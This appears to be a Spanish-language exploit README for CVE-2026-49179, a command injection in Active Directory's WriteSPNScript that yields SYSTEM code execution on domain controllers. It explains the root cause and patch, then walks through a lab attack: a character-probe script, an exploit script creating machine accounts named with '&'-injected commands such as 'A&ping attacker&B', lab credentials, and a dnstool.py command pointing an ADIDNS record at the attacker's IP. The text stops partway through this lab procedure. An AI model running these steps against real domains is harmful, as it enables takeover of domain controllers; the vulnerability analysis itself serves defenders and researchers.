
Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Inyección de comandos) |
| Componente afectado | ntdsai.dll — función WriteSPNScript |
| Sistemas afectados | Windows Server 2016, 2019, 2022, 2025 (sin parchear) |
| Vector de ataque | Usuario de dominio autenticado (cualquiera) |
| Impacto | Ejecución remota de código como SYSTEM en el controlador de dominio |
| Publicado | Agosto de 2026 |
La función WriteSPNScript en ntdsai.dll genera comandos de script por lotes para la remediación de SPN (Service Principal Name) durante las operaciones de mantenimiento de Active Directory. La función utiliza una cadena de formato para construir comandos repadmin.exe /writespn, pero no sanea el parámetro Distinguished Name (DN), lo que permite la inyección de comandos mediante el carácter & (separador de comandos de cmd.exe).
La cadena de formato vulnerable:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parámetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
El DN se deriva del Common Name (CN) de la cuenta de máquina, que se establece durante la creación de la cuenta. Cuando se crea una cuenta de máquina con metacaracteres de shell en su nombre, esos caracteres fluyen sin escapar al script generado. Cuando cmd.exe ejecuta el script, & actúa como separador de comandos, ejecutando comandos controlados por el atacante como SYSTEM.
Active Directory tiene dos protocolos principales para gestionar cuentas de máquina:
| Protocolo | Validación de caracteres | Metacaracteres de shell |
|---|---|---|
| LDAP (valores SPN) | Estricta — CONSTRAINT_ATT_TYPE rechaza & ; | ' \ $ ( )` | Bloqueados |
| SAMR (nombres de máquina) | Laxa — valida el formato básico del nombre de cuenta | Permitidos: & ' \ $ ( ) ! space` |
Esta asimetría de validación es la causa raíz:
sAMAccountName, que se convierte en el CN y fluye hacia el DNWriteSPNScript sin sanitizaciónEn la dirección 0x1802a98a0 del binario sin parchear:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formatea el DN directamente en el búfer de salida. Sin escape, sin comillas, sin sanitización.
Para una máquina con CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpreta esto como cinco sentencias separadas:
| # | Sentencia | Resultado |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Falla (DN truncado) |
| 2 | ping attacker | INYECTADO — se ejecuta como SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Falla (no es un comando válido) |
| 4 | ping attacker | INYECTADO — se ejecuta de nuevo (desde el parámetro SPN) |
| 5 | B | Falla (no es un comando válido) |
El comando inyectado aparece dos veces — una desde el parámetro DN y otra desde el parámetro SPN (que también contiene el nombre de la máquina).
El WriteSPNScript parcheado (tamaño: 1477 → 2005 bytes) introduce tres cambios:
Dos nuevas funciones de saneamiento aplicadas a ambos parámetros DN y SPN:
EscapeForPowerShellSingleQuote() — escapa ' para evitar la ruptura de las cadenas entre comillas simplesEscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa las secuencias \ antes de " para el análisis de argv nativo| Base (Vulnerable) | Parcheado | |
|---|---|---|
| Función | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Entrecomillado | Ninguno | Parámetros entre comillas simples |
| Salida | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
Una revisión anterior tenía un indicador de característica Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled que condicionaba la corrección. En el parche final, este indicador fue eliminado — la corrección está siempre activa y no puede deshabilitarse.
| Host | Rol | IP | SO |
|---|---|---|---|
| WINTERFELL | Controlador de dominio | 192.168.56.11 | Windows Server 2019 |
| Atacante | Kali Linux | 192.168.14.238 | Kali 2026 |
| Dominio | north.sevenkingdoms.local | ||
| Usuario con pocos privilegios | samwell.tarly / Heartsbane | Usuario de dominio normal | |
| Usuario administrador | robb.stark / sexywolfy | Administrador de dominio |
Usando spn_probe3.py, se probó qué caracteres acepta SAMR en los nombres de cuentas de equipo frente a los que acepta LDAP en los valores de SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Hallazgo clave: SAMR permite los 8 metacaracteres de shell probados. LDAP los bloquea todos. El vector de inyección es a través de nombres de máquina creados por SAMR, no a través de valores SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
También creado como samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Confirmado: un usuario de dominio normal (PR:L) puede crear cuentas de equipo con inyección de comandos & en el nombre.
Los usuarios de dominio normales pueden añadir registros ADIDNS. Se usó dnstool.py para crear un nombre de host corto que apunte al atacante:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11